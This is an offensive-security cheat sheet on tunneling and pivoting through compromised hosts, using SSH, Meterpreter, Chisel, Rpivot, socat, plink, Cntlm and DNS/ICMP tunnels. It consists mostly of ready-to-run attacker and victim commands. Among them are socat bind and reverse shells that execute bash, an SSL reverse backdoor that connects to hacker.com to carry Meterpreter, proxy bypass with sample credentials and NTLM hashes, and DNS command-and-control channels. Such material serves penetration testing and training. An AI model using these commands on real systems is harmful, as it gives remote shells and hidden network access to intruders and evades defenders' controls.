Tunneling and Port Forwarding

SSH

SSH graphical connection (X)

ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Local Port2Port

Open new Port in SSH Server --> Other port

ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere

ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere

Port2Port

Local port --> Compromised host (SSH) --> Third_box:Port

ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host 
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Local Port --> Compromised host(SSH) --> Wherever

ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

VPN-Tunnel

You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login: PermitRootLogin yes PermitTunnel yes

ssh username@server -w any:any #This wil create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP

Enable forwarding in Server side

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Set new route on client side

route add -net 10.0.0.0/16 gw 1.1.1.1

SSHUTTLE

You can tunnel via ssh all the traffic to a subnetwork through a host. Example, forwarding all the traffic going to 10.10.10.0/24

pip install sshuttle
sshuttle -r user@host 10.10.10.10/24

Meterpreter

Port2Port

Local port --> Compromised host (active session) --> Third_box:Port

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

Port2hostnet (proxychains)

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 2552.55.255.0 8)
use auxiliary/server/socks4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Another way:

background #meterpreter session
use post/windows/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks4a
run #Proxy port 1080 by default

reGeorg

https://github.com/sensepost/reGeorg

You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

https://github.com/jpillora/chisel

Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance.

You can do port forwarding (bind & reverse), create a socks proxy (bind & reverse).

root@kali:/opt# git clone https://github.com/jpillora/chisel.git
Cloning into 'chisel'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 1151 (delta 7), reused 18 (delta 5), pack-reused 1118
Receiving objects: 100% (1151/1151), 3.31 MiB | 19.03 MiB/s, done.
Resolving deltas: 100% (416/416), done.

root@kali:/opt/chisel# ./chisel --help

  Usage: chisel [command] [--help]

  Version: 0.0.0-src

  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

  Read more:
    https://github.com/jpillora/chisel

Read more:

• https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html (Blog by Oxdf)

• https://github.com/jpillora/chisel

• https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s (HTB Reddish by ippsec)

• https://0xdf.gitlab.io/2019/01/26/htb-reddish.html (HTB Reddish by 0xdf)

Rpivot

https://github.com/klsecservices/rpivot

Reverse tunnel. The tunnel is started from the victim. A socks4 proxy is created on 127.0.0.1:1080

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

Pivot through NTLM proxy

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>,<rport> &

Port2Port through socks

socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

Meterpreter through SSL Socat

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333

victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter

You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

SSL Socat Tunnel

/bin/sh console

Create certificates in both sides: Client and Server

# Execute this commands in both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem

attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

Connect the local SSH port (22) to the 443 port of the attacker host

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost 
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

Plink.exe

It's like a console PuTTY version ( the options are very similar to a ssh client).

As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:

plink.exe -l <Our_valid_username> -pw <valid_password> -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

NTLM proxy bypass

The previously mentioned tool: Rpivot OpenVPN can also bypass it, setting these options in the configuration file:

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

http://cntlm.sourceforge.net/

It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port. Example that forward port 443

Username Alice 
Password P@ssw0rd 
Domain CONTOSO.COM 
Proxy 10.0.0.10:8080 
Tunnel 2222:<attackers_machine>:443

Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222. You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.

YARP

A reverse proxy create by Microsoft. You can find it here: https://github.com/microsoft/reverse-proxy

DNS Tunneling

Iodine

https://code.kryo.se/iodine/

Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.

attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2

The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

Establishes a C&C channel through DNS. It doesn't need root privileges.

attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

Port forwarding with dnscat

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

Change proxychains DNS

Proxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is 4.2.2.2 (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.

Tunnels in Go

https://github.com/hotnops/gtunnel

ICMP Tunneling

Hans

https://github.com/friedrich/hans https://github.com/albertzak/hanstunnel

Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.

./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

Other tools to check

• https://github.com/securesocketfunneling/ssf

• https://github.com/z3APA3A/3proxy

• https://github.com/jpillora/chisel